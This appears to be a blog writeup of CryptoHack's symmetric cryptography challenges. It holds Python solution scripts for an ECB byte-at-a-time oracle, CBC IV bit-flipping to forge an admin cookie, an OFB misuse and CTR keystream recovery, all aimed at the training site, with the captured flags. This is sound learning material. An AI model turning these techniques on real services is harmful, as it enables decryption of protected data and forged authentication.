0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) def expand_key(master_key): \u0026#34;\u0026#34;\u0026#34; Expands and returns a list of key matrices for the given master_key. \u0026#34;\u0026#34;\u0026#34; # Round constants https://en.wikipedia.org/wiki/AES_key_schedule#Round_constants r_con = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) # Initialize round keys with raw key material. key_columns = bytes2matrix(master_key) iteration_size = len(master_key) // 4 # Each iteration has exactly as many columns as the key material. i = 1 while len(key_columns) \u0026lt; (N_ROUNDS + 1) * 4: # Copy previous word. word = list(key_columns[-1]) # Perform schedule_core once every \u0026#34;row\u0026#34;. if len(key_columns) % iteration_size == 0: # Circular shift. word.append(word.pop(0)) # Map to S-BOX. word = [s_box[b] for b in word] # XOR with first byte of R-CON, since the others bytes of R-CON are 0. word[0] ^= r_con[i] i += 1 elif len(master_key) == 32 and len(key_columns) % iteration_size == 4: # Run word through S-box in the fourth iteration when using a # 256-bit key. word = [s_box[b] for b in word] # XOR with equivalent word from previous iteration. word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size])) key_columns.append(word) # Group key words in 4x4 byte matrices. return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)] def bytes2matrix(text): \u0026#34;\u0026#34;\u0026#34; Converts a 16-byte array into a 4x4 matrix. \u0026#34;\u0026#34;\u0026#34; return [list(text[i:i+4]) for i in range(0, len(text), 4)] def matrix2bytes(matrix): return bytes(sum(matrix, [])) def add_round_key(s, k): return [[s_val^k_val for s_val, k_val in zip(s_lst,k_lst)] for s_lst, k_lst in zip(s, k)] def inv_shift_rows(s): s[1][1], s[2][1], s[3][1], s[0][1] = s[0][1], s[1][1], s[2][1], s[3][1] s[2][2], s[3][2], s[0][2], s[1][2] = s[0][2], s[1][2], s[2][2], s[3][2] s[3][3], s[0][3], s[1][3], s[2][3] = s[0][3], s[1][3], s[2][3], s[3][3] def sub_bytes(s, sbox=s_box): return [[int(sbox[a]) for a in row] for row in s] # learned from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c xtime = lambda a: (((a \u0026lt;\u0026lt; 1) ^ 0x1B) \u0026amp; 0xFF) if (a \u0026amp; 0x80) else (a \u0026lt;\u0026lt; 1) def mix_single_column(a): # see Sec 4.1.2 in The Design of Rijndael t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) def mix_columns(s): for i in range(4): mix_single_column(s[i]) def inv_mix_columns(s): # see Sec 4.1.3 in The Design of Rijndael for i in range(4): u = xtime(xtime(s[i][0] ^ s[i][2])) v = xtime(xtime(s[i][1] ^ s[i][3])) s[i][0] ^= u s[i][1] ^= v s[i][2] ^= u s[i][3] ^= v mix_columns(s) def decrypt(key, ciphertext): round_keys = expand_key(key) # Remember to start from the last round key and work backwards through them when decrypting # Convert ciphertext to state matrix state = bytes2matrix(ciphertext) # Initial add round key step state = add_round_key(state, round_keys[-1]) for i in range(N_ROUNDS - 1, 0, -1): inv_shift_rows(state) state = sub_bytes(state, inv_s_box) state = add_round_key(state, round_keys[i]) inv_mix_columns(state) # Run final round (skips the InvMixColumns step) inv_shift_rows(state) state = sub_bytes(state, inv_s_box) state = add_round_key(state, round_keys[0]) # Convert state matrix to plaintext plaintext = matrix2bytes(state) return plaintext \u0026gt; print(decrypt(key,ciphertext)) b\u0026#39;crypto{MYAES128}\u0026#39; flag: crypto{MYAES128}\nModes of Operation Starter The previous set of challenges showed how AES performs a keyed permutation on a block of data. In practice, we need to encrypt messages much longer than a single block. A mode of operation describes how to use a cipher like AES on longer messages.\nAll modes have serious weaknesses when used incorrectly. The challenges in this category take you to a different section of the website where you can interact with APIs and exploit those weaknesses. Get yourself acquainted with the interface and use it to take your next flag!\nPlay at http://aes.cryptohack.org/block_cipher_starter\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Cipher import AES KEY = ? FLAG = ? @chal.route(\u0026#39;/block_cipher_starter/decrypt/\u0026lt;ciphertext\u0026gt;/\u0026#39;) def decrypt(ciphertext): ciphertext = bytes.fromhex(ciphertext) cipher = AES.new(KEY, AES.MODE_ECB) try: decrypted = cipher.decrypt(ciphertext) except ValueError as e: return {\u0026#34;error\u0026#34;: str(e)} return {\u0026#34;plaintext\u0026#34;: decrypted.hex()} @chal.route(\u0026#39;/block_cipher_starter/encrypt_flag/\u0026#39;) def encrypt_flag(): cipher = AES.new(KEY, AES.MODE_ECB) encrypted = cipher.encrypt(FLAG.encode()) return {\u0026#34;ciphertext\u0026#34;: encrypted.hex()} Solution Visit http://aes.cryptohack.org/block_cipher_starter Visit https://aes.cryptohack.org//block_cipher_starter/encrypt_flag/ {\u0026#34;ciphertext\u0026#34;:\u0026#34;1b36a55b687f21f73fe0bed721c1a5c305716a9a1c1745d50a39e0ae8f2fb9ba\u0026#34;} Decrypt ciphertext 4. Hex Decode\nflag: crypto{bl0ck_c1ph3r5_4r3_f457_!}\nPasswords as Keys It is essential that keys in symmetric-key algorithms are random bytes, instead of passwords or other predictable data. The random bytes should be generated using a cryptographically-secure pseudorandom number generator (CSPRNG). If the keys are predictable in any way, then the security level of the cipher is reduced and it may be possible for an attacker who gets access to the ciphertext to decrypt it.\nJust because a key looks like it is formed of random bytes, does not mean that it necessarily is. In this case the key has been derived from a simple password using a hashing function, which makes the ciphertext crackable.\nFor this challenge you may script your HTTP requests to the endpoints, or alternatively attack the ciphertext offline. Good luck!\nPlay at http://aes.cryptohack.org/passwords_as_keys\nSolution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests import hashlib from time import sleep from Crypto.Cipher import AES # Get Ciphertext url = \u0026#39;http://aes.cryptohack.org/passwords_as_keys\u0026#39; r = requests.get(f\u0026#34;{url}/encrypt_flag\u0026#34;) ct = r.json()[\u0026#39;ciphertext\u0026#39;] print(f\u0026#34;Ciphertext: {ct}\u0026#34;) # Get word list r = requests.get(\u0026#34;https://gist.githubusercontent.com/wchargin/8927565/raw/d9783627c731268fb2935a731a618aa8e95cf465/words\u0026#34;) words = r.content.split(b\u0026#39;\\n\u0026#39;) # Brute password for word in words: key = hashlib.md5(word).digest() cipher = AES.new(key, AES.MODE_ECB) try: pt = cipher.decrypt(bytes.fromhex(ct)) if b\u0026#34;crypto{\u0026#34; in pt: print(f\u0026#34;Plaintext: {pt.decode()}\u0026#34;) except: continue flag: crypto{k3y5__r__n07__p455w0rdz?}\nECB Oracle ECB is the most simple mode, with each plaintext block encrypted entirely independently. In this case, your input is prepended to the secret flag and encrypted and that\u0026rsquo;s it. We don\u0026rsquo;t even provide a decrypt function. Perhaps you don\u0026rsquo;t need a padding oracle when you have an \u0026ldquo;ECB oracle\u0026rdquo;?\nPlay at http://aes.cryptohack.org/ecb_oracle\nsource code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad KEY = ? FLAG = ? @chal.route(\u0026#39;/ecb_oracle/encrypt/\u0026lt;plaintext\u0026gt;/\u0026#39;) def encrypt(plaintext): plaintext = bytes.fromhex(plaintext) padded = pad(plaintext + FLAG.encode(), 16) cipher = AES.new(KEY, AES.MODE_ECB) try: encrypted = cipher.encrypt(padded) except ValueError as e: return {\u0026#34;error\u0026#34;: str(e)} return {\u0026#34;ciphertext\u0026#34;: encrypted.hex()} Solution This problem was a bit difficult for me to solve. The first step in understanding it was looking more into how the pad function actually works in the backend of pycryptodome. This is more easily demonstrated through an example.\n\u0026gt; from Crypto.Util.Padding import pad \u0026gt; [pad(b\u0026#39;?\u0026#39;*i, 16) for i in range(1,17)] # We want to see 1-16, so we set the range to 17 since it doesn\u0026#39;t include the last value. [b\u0026#39;?\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\\x0f\u0026#39;, b\u0026#39;??\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\\x0e\u0026#39;, b\u0026#39;???\\r\\r\\r\\r\\r\\r\\r\\r\\r\\r\\r\\r\\r\u0026#39;, b\u0026#39;????\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\u0026#39;, b\u0026#39;?????\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\u0026#39;, b\u0026#39;??????\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\u0026#39;, b\u0026#39;???????\\t\\t\\t\\t\\t\\t\\t\\t\\t\u0026#39;, b\u0026#39;????????\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\u0026#39;, b\u0026#39;?????????\\x07\\x07\\x07\\x07\\x07\\x07\\x07\u0026#39;, b\u0026#39;??????????\\x06\\x06\\x06\\x06\\x06\\x06\u0026#39;, b\u0026#39;???????????\\x05\\x05\\x05\\x05\\x05\u0026#39;, b\u0026#39;????????????\\x04\\x04\\x04\\x04\u0026#39;, b\u0026#39;?????????????\\x03\\x03\\x03\u0026#39;, b\u0026#39;??????????????\\x02\\x02\u0026#39;, b\u0026#39;???????????????\\x01\u0026#39;, b\u0026#39;????????????????\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\u0026#39;] When the amount of ?\u0026rsquo;s we provide is less than the block_size of 16, padding will be added. However, if 16 bytes (or ?\u0026rsquo;s) are provided, the pad function will create a new block (2 blocks of 16 bytes, totalling to 32 bytes in length). Therefore, if we give a bunch of garbage, we can leak the length of the flag.\nTL;DR: we can measure the amount of bytes we send in alongside the amount of blocks that get generated to determine the flag length. So, if we send in x-1 bytes and have 2 blocks (32 bytes total), then send in x bytes and have 3 blocks (48 bytes total), we know:\nflag_length = 2 blocks * 16 bytes/block - x bytes -\u0026gt; 32 bytes - x bytes Time to script\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import string import requests def encrypt(plainhex): r = requests.get(f\u0026#34;https://aes.cryptohack.org/ecb_oracle/encrypt/{plainhex}\u0026#34;) return bytes.fromhex(r.json()[\u0026#39;ciphertext\u0026#39;]) ciphers = [] for i in range(1,17): garbage = i*b\u0026#39;?\u0026#39;.hex() ct = encrypt(garbage) ciphers.append(ct) print(f\u0026#34;Garbage ({len(garbage)//2} bytes): {bytes.fromhex(garbage).decode()}\u0026#34;) print(f\u0026#34;Ciphertext ({len(ct.hex())//2} bytes): {ct.hex()}\u0026#34;) Garbage (1 bytes): ? Ciphertext (32 bytes): 341dd0bf293efbc386baa0450a9f7a121d91b08cbd0a3ff55d6225e7f2cb1fe1 Garbage (2 bytes): ?? Ciphertext (32 bytes): c7404a9325a0b5bd6f663638f86f6d14133cfd98ad547f6a1dae2cdccac36bda Garbage (3 bytes): ??? Ciphertext (32 bytes): 1e46817be36af1d0d263fed68ab2b3b440b0f25961b3330f4880effcdd1d9372 Garbage (4 bytes): ???? Ciphertext (32 bytes): 700b70280d82306f6b577da0e70914003775fe4513f275eeb4a20548db2b1372 Garbage (5 bytes): ????? Ciphertext (32 bytes): 043d72cd0c91d09ee654031196f6a203f0aaaa9734688f65f110768d242965f2 Garbage (6 bytes): ?????? Ciphertext (32 bytes): dd90d7562c5d17c5ff323f1a024483749f1d9ea23fc3f0857e80d9254d053b99 Garbage (7 bytes): ??????? Ciphertext (48 bytes): d32166eeaa47575cf04ae32526b6006c1f227170511203bbb211a703905f9e5128ae38bc1312435b814108836328262a Garbage (8 bytes): ???????? Ciphertext (48 bytes): 9eaa653b150e6218b56d887fb99d00f21206ed1975a928fe0813952f43171080b6800d8b95758d3bf16d0f75ca9f38e8 Garbage (9 bytes): ????????? Ciphertext (48 bytes): 7a987178f47d51a9d650fdd312580bf50e5eaa21119c631ae8304d9d2c1ef310593c7d830f153c8a4b7f41c116065d73 Garbage (10 bytes): ?????????? Ciphertext (48 bytes): 66a3abc4b4b82020586064a647d7fa75e1434b90c1f8633f9818265dfff40e08c9dd5d6a2703d3beb1def6e688083f3a Garbage (11 bytes): ??????????? Ciphertext (48 bytes): 0fd571c8e551af19d186a30c9b3c02034cc4a08218ed3d4aead3c49d2c49e5b5ed8db991b61458ce267a94b891a472fb Garbage (12 bytes): ???????????? Ciphertext (48 bytes): 12d380f787bdbc1bc7a4b8619f45609af2f1b66e09e912eff09384648f453f3db11abf8572ab7a34347ada3026bf0911 Garbage (13 bytes): ????????????? Ciphertext (48 bytes): ae7db02691622c4562866713fa013c5cee268318401e6c194260a8ffa3d2df71190f2b09607b5764d577d4d5569b9059 Garbage (14 bytes): ?????????????? Ciphertext (48 bytes): 5f26e6ffabb6962705a174ac4b463bcc7bd036db83a337f9f4f867dd5691e1f7fd105ad78e0e6fa84f694743dd59cc94 Garbage (15 bytes): ??????????????? Ciphertext (48 bytes): eed4350b17297b157330c401581ac453a6734bcc83eace3a107321af7775026b7d715d5c670622e24c462ae108288f25 Garbage (16 bytes): ???????????????? Ciphertext (48 bytes): da572df43b1a6bd8ad66da297d64c445bea177bc81b326eef475195dee42ba6c2eb3958aa4a3fa0d49789f5152a4eed2 As shown above, we can see that when 7 bytes of garbage are sent in, a new block is made. This meas our flag must be 32-7 = 25 bytes.\n\u0026gt; flag_len = [len(i.hex())//2 - x - 2 for x, (i,j) in enumerate(zip(ciphers,ciphers[1:])) if len(j.hex())\u0026gt;len(i.hex())][0] 25 From here, we know that the flag will need be held within 2 blocks. If we want to leak the flag, we will need 4 blocks total (2 for garbage and leaking + 2 for holding the flag and padding) totalling to 64 bytes. To make more sense of how this works, let\u0026rsquo;s start with leaking a few bytes manually.\nFrom previous challenges, let\u0026rsquo;s assume the flag does adhere to the format crypto{...}. When scripting, its easy to check all possible bytes, but since this is an example and its manual, let\u0026rsquo;s be smart and guess the first byte is c. From above, we can see:\nGarbage (15 bytes): ??????????????? Ciphertext (48 bytes): eed4350b17297b157330c401581ac453a6734bcc83eace3a107321af7775026b7d715d5c670622e24c462ae108288f25 As we remember, each block is 16 bytes. Since we only sent in 15 bytes and this plaintext is prepended to the flag, we know that the next byte (16th byte) has to be the first byte of the flag. We also know that each block is independent and will have its own ciphertext. This means that if the 16th byte is the same as the first byte of the flag, we will get the same ciphertext for block 1. For example:\nGarbage (15 bytes): ??????????????? Ciphertext (48 bytes): eed4350b17297b157330c401581ac453 a6734bcc83eace3a107321af7775026b 7d715d5c670622e24c462ae108288f25 Garbage (15 bytes) + \u0026#39;c\u0026#39; (1 byte): ???????????????c Ciphertext (48 bytes): eed4350b17297b157330c401581ac453 bea177bc81b326eef475195dee42ba6c 2eb3958aa4a3fa0d49789f5152a4eed2 As we can see, the first block of ciphertext for each payload is the same. eed4350b17297b157330c401581ac453 == eed4350b17297b157330c401581ac453\nLet\u0026rsquo;s try it again for the sake of clarity. Now that we know the first letter of the flag is c, we need to reduce the amount of garbage we send in to 14 bytes (14 + len('c') = 15) so there is only byte we need to guess. We can try r due to the flag format.\nGarbage (14 bytes) + \u0026#39;c\u0026#39; (1 byte): ??????????????c Ciphertext (48 bytes): 5f26e6ffabb6962705a174ac4b463bcc 7bd036db83a337f9f4f867dd5691e1f7 fd105ad78e0e6fa84f694743dd59cc94 Garbage (14 bytes) + \u0026#39;c\u0026#39; (1 byte) + \u0026#39;r\u0026#39; (1 byte): ??????????????cr Ciphertext (48 bytes): 5f26e6ffabb6962705a174ac4b463bcc bea177bc81b326eef475195dee42ba6c 2eb3958aa4a3fa0d49789f5152a4eed2 That\u0026rsquo;s it basically. Just script this process!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import string import requests def encrypt(plainhex): r = requests.get(f\u0026#34;https://aes.cryptohack.org/ecb_oracle/encrypt/{plainhex}\u0026#34;) return bytes.fromhex(r.json()[\u0026#39;ciphertext\u0026#39;]) ciphers = [] for i in range(1,17): garbage = i*b\u0026#39;?\u0026#39;.hex() ct = encrypt(garbage) ciphers.append(ct) print(f\u0026#34;Garbage ({len(garbage)//2} bytes): {bytes.fromhex(garbage).decode()}\u0026#34;) print(f\u0026#34;Ciphertext ({len(ct.hex())//2} bytes): {ct.hex()}\u0026#34;) # Calculate flag length (easier visually) flag_len = [len(i.hex())//2 - x - 2 for x, (i,j) in enumerate(zip(ciphers,ciphers[1:])) if len(j.hex())\u0026gt;len(i.hex())][0] # Put likely strings and letters at the beginning – remove duplicates alpha = list(dict.fromkeys(\u0026#34;crypto{eainshr_}\u0026#34; + string.ascii_lowercase + string.digits + string.ascii_uppercase)) flag = b\u0026#34;\u0026#34; print(\u0026#34;Brute forcing flag...\\n\u0026#34;) for i in range(31, 31-flag_len, -1): for char in alpha: char = char.encode() ct = encrypt((i*b\u0026#34;?\u0026#34;+flag+char).hex())[:32] exp = encrypt((i*b\u0026#34;?\u0026#34;).hex())[:32] if ct == exp: flag += char print(f\u0026#34;{char.decode()}\u0026#34;, flush=True, end=\u0026#39;\u0026#39;) break flag: crypto{p3n6u1n5_h473_3cb}\nECB CBC WTF Here you can encrypt in CBC but only decrypt in ECB. That shouldn\u0026rsquo;t be a weakness because they\u0026rsquo;re different modes\u0026hellip; right?\nPlay at http://aes.cryptohack.org/ecbcbcwtf\nsource code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from Crypto.Cipher import AES KEY = ? FLAG = ? @chal.route(\u0026#39;/ecbcbcwtf/decrypt/\u0026lt;ciphertext\u0026gt;/\u0026#39;) def decrypt(ciphertext): ciphertext = bytes.fromhex(ciphertext) cipher = AES.new(KEY, AES.MODE_ECB) try: decrypted = cipher.decrypt(ciphertext) except ValueError as e: return {\u0026#34;error\u0026#34;: str(e)} return {\u0026#34;plaintext\u0026#34;: decrypted.hex()} @chal.route(\u0026#39;/ecbcbcwtf/encrypt_flag/\u0026#39;) def encrypt_flag(): iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_CBC, iv) encrypted = cipher.encrypt(FLAG.encode()) ciphertext = iv.hex() + encrypted.hex() return {\u0026#34;ciphertext\u0026#34;: ciphertext} Solution To solve this challenge, we first need to look at the differences between CBC and ECB.\nThis boils down to the following:\nECB Encryption: c1=p1^key c2=p2^key Decryption: p1=c1^key p2=c2^key CBC Encryption: c1=p1^key^iv c2=c1^p2 Decryption: p1=c1^key^iv p2=c1^c2 Since iv in this case is random, we will not be able to decrypt p1. However, we can decrypt p2 and p3.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests from pwn import xor def request_ct(): \u0026#34;\u0026#34;\u0026#34; gets ciphertext of flag \u0026#34;\u0026#34;\u0026#34; return requests.get(\u0026#34;https://aes.cryptohack.org/ecbcbcwtf/encrypt_flag/\u0026#34;).json()[\u0026#39;ciphertext\u0026#39;] def request_pt(ct): \u0026#34;\u0026#34;\u0026#34; gets plaintext of given ciphertext \u0026#34;\u0026#34;\u0026#34; return requests.get(\u0026#34;https://aes.cryptohack.org/ecbcbcwtf/decrypt/\u0026#34;+ct).json()[\u0026#39;plaintext\u0026#39;] def blockify(txt, size): \u0026#34;\u0026#34;\u0026#34; turns text into list of blocks \u0026#34;\u0026#34;\u0026#34; return [txt[i:i+size] for i in range(0, len(txt), size)] ct = request_ct() pt = request_pt(ct) ct_blocks = blockify(ct, 32) # 16 bytes * 2 since hex! flag = \u0026#39;\u0026#39; for c,p in zip(ct_blocks, ct_blocks[1:]): current_block_ct = bytes.fromhex(c) next_block_pt = bytes.fromhex(request_pt(p)) flag += xor(current_block_ct, next_block_pt).decode() \u0026gt; print(flag) crypto{3cb_5uck5_4v01d_17_!!!!!} Alternate solution(s): flag: crypto{3cb_5uck5_4v01d_17_!!!!!}\nFlipping Cookie You can get a cookie for my website, but it won\u0026rsquo;t help you read the flag\u0026hellip; I think.\nPlay at http://aes.cryptohack.org/flipping_cookie\nsource code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from Crypto.Cipher import AES import os from Crypto.Util.Padding import pad, unpad from datetime import datetime, timedelta KEY = ? FLAG = ? @chal.route(\u0026#39;/flipping_cookie/check_admin/\u0026lt;cookie\u0026gt;/\u0026lt;iv\u0026gt;/\u0026#39;) def check_admin(cookie, iv): cookie = bytes.fromhex(cookie) iv = bytes.fromhex(iv) try: cipher = AES.new(KEY, AES.MODE_CBC, iv) decrypted = cipher.decrypt(cookie) unpadded = unpad(decrypted, 16) except ValueError as e: return {\u0026#34;error\u0026#34;: str(e)} if b\u0026#34;admin=True\u0026#34; in unpadded.split(b\u0026#34;;\u0026#34;): return {\u0026#34;flag\u0026#34;: FLAG} else: return {\u0026#34;error\u0026#34;: \u0026#34;Only admin can read the flag\u0026#34;} @chal.route(\u0026#39;/flipping_cookie/get_cookie/\u0026#39;) def get_cookie(): expires_at = (datetime.today() + timedelta(days=1)).strftime(\u0026#34;%s\u0026#34;) cookie = f\u0026#34;admin=False;expiry={expires_at}\u0026#34;.encode() iv = os.urandom(16) padded = pad(cookie, 16) cipher = AES.new(KEY, AES.MODE_CBC, iv) encrypted = cipher.encrypt(padded) ciphertext = iv.hex() + encrypted.hex() return {\u0026#34;cookie\u0026#34;: ciphertext} Solution To solve this problem, turning CBC decryption into a system of equations makes the rest trivial. As we previously covered (see the images above), CBC decryption can be broken down like so:\nEncryption: p1 ^ iv ^ key = c1 p2 ^ c1 ^ key = c2 p3 ^ c2 ^ key = c3 Decryption: c1 ^ key ^ iv = p1 c1 ^ d(c2) = p2 c2 ^ d(c3) = p3 From the source code, we are given iv, the ciphertext, and the plaintext. However, it turns out we only really need iv and p1 to solve. This is because our goal is only to change admin=False to admin=True through our own malicious iv payload. Let\u0026rsquo;s change these terms to something more readily understandable:\n1. p1 ^ iv ^ key = c1 -\u0026gt; given_pt ^ given_iv ^ tmp_key = tmp_ct c1 ^ key ^ iv = p1 -\u0026gt; tmp_ct ^ tmp_key ^ iv_payload = pt_payload ________________________________________________________________________________ 2. (given_pt ^ given_iv ^ tmp_key) ^ tmp_key ^ iv_payload = pt_payload ________________________________________________________________________________ 3. given_pt ^ given_iv ^ iv_payload = pt_payload ________________________________________________________________________________ 4. iv_payload = pt_payload ^ given_iv ^ given_pt So all we have to do is XOR our desired plaintext admin=True... with the given iv and the given plaintext admin=False... to get our iv_payload. Then, we can just send this payload to the server and get the flag!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests from pwn import xor def get_ciphertext(): r = requests.get(\u0026#34;http://aes.cryptohack.org/flipping_cookie/get_cookie\u0026#34;) return r.json()[\u0026#39;cookie\u0026#39;] def check_admin(cookie,iv): r = requests.get(f\u0026#34;http://aes.cryptohack.org/flipping_cookie/check_admin/{cookie}/{iv}\u0026#34;) return r.json() ct = bytes.fromhex(get_ciphertext()) iv = ct[:16] cookie = ct[16:].hex() pt = b\u0026#39;admin=False;expiry=\u0026#39;[:16] pt_payload = b\u0026#39;admin=True;expiry=\u0026#39;[:16] iv_payload = xor(pt_payload, pt, iv).hex() print(check_admin(cookie, iv_payload)[\u0026#39;flag\u0026#39;]) flag: crypto{4u7h3n71c4710n_15_3553n714l}\nSymmetry Some block cipher modes, such as OFB, CTR, or CFB, turn a block cipher into a stream cipher. The idea behind stream ciphers is to produce a pseudorandom keystream which is then XORed with the plaintext. One advantage of stream ciphers is that they can work of plaintext of arbitrary length, with no padding required.\nOFB is an obscure cipher mode, with no real benefits these days over using CTR. This challenge introduces an unusual property of OFB.\nPlay at http://aes.cryptohack.org/symmetry\nsource code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Cipher import AES KEY = ? FLAG = ? @chal.route(\u0026#39;/symmetry/encrypt/\u0026lt;plaintext\u0026gt;/\u0026lt;iv\u0026gt;/\u0026#39;) def encrypt(plaintext, iv): plaintext = bytes.fromhex(plaintext) iv = bytes.fromhex(iv) if len(iv) != 16: return {\u0026#34;error\u0026#34;: \u0026#34;IV length must be 16\u0026#34;} cipher = AES.new(KEY, AES.MODE_OFB, iv) encrypted = cipher.encrypt(plaintext) ciphertext = encrypted.hex() return {\u0026#34;ciphertext\u0026#34;: ciphertext} @chal.route(\u0026#39;/symmetry/encrypt_flag/\u0026#39;) def encrypt_flag(): iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_OFB, iv) encrypted = cipher.encrypt(FLAG.encode()) ciphertext = iv.hex() + encrypted.hex() return {\u0026#34;ciphertext\u0026#34;: ciphertext} Solution After checking Wikipedia, I realized the encryption and decryption methods are the same for OFB! We\u0026rsquo;ve got all we need. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests def get_ciphertext(): r = requests.get(\u0026#34;https://aes.cryptohack.org/symmetry/encrypt_flag/\u0026#34;) return r.json()[\u0026#39;ciphertext\u0026#39;] def get_flag(ct, iv): r = requests.get(f\u0026#34;https://aes.cryptohack.org/symmetry/encrypt/{ct}/{iv}\u0026#34;) return r.json()[\u0026#39;ciphertext\u0026#39;] ct = bytes.fromhex(get_ciphertext()) iv = ct[:16].hex() ct = ct[16:].hex() print(bytes.fromhex(get_flag(ct, iv)).decode()) flag: crypto{0fb_15_5ymm37r1c4l_!!!11!}\nBean Counter I\u0026rsquo;ve struggled to get PyCrypto\u0026rsquo;s counter mode doing what I want, so I\u0026rsquo;ve turned ECB mode into CTR myself. My counter can go both upwards and downwards to throw off cryptanalysts! There\u0026rsquo;s no chance they\u0026rsquo;ll be able to read my picture.\nPlay at http://aes.cryptohack.org/bean_counter\nsource code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from Crypto.Cipher import AES KEY = ? class StepUpCounter(object): def __init__(self, value=os.urandom(16), step_up=False): self.value = value.hex() self.step = 1 self.stup = step_up def increment(self): if self.stup: self.newIV = hex(int(self.value, 16) + self.step) else: self.newIV = hex(int(self.value, 16) - self.stup) self.value = self.newIV[2:len(self.newIV)] return bytes.fromhex(self.value.zfill(32)) def __repr__(self): self.increment() return self.value @chal.route(\u0026#39;/bean_counter/encrypt/\u0026#39;) def encrypt(): cipher = AES.new(KEY, AES.MODE_ECB) ctr = StepUpCounter() out = [] with open(\u0026#34;challenge_files/bean_flag.png\u0026#34;, \u0026#39;rb\u0026#39;) as f: block = f.read(16) while block: keystream = cipher.encrypt(ctr.increment()) xored = [a^b for a, b in zip(block, keystream)] out.append(bytes(xored).hex()) block = f.read(16) return {\u0026#34;encrypted\u0026#34;: \u0026#39;\u0026#39;.join(out)} Solution The trick to this solution is realizing that we know plaintext (png header) and ciphertext (given) of the first block. We can use this to calculate the key and then ultimately decrypt the rest of the ciphertext.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests from pwn import xor png_header = bytes.fromhex(\u0026#39;89504e470d0a1a0a0000000d49484452\u0026#39;) def get_ciphertext(): r = requests.get(\u0026#34;https://aes.cryptohack.org/bean_counter/encrypt/\u0026#34;) return r.json()[\u0026#39;encrypted\u0026#39;] ct = bytes.fromhex(get_ciphertext()) key = xor(png_header, ct[:16]) pt = xor(ct, key) with open(\u0026#39;bean.png\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(pt) [ bean.png ] ","permalink":"https://woadey.github.io/posts/cryptohack/symmetric_cryptography/","summary":"Writeups for CryptoHack\u0026rsquo;s \u003ca href=\"https://cryptohack.org/courses/symmetric/course_details/\"\n title=\"Symmetric Cryptography Course\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eSymmetric Cryptography Course\u003c/a\u003e","title":"CryptoHack Writeup: Symmetric Cryptography"},{"content":"Archetype nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 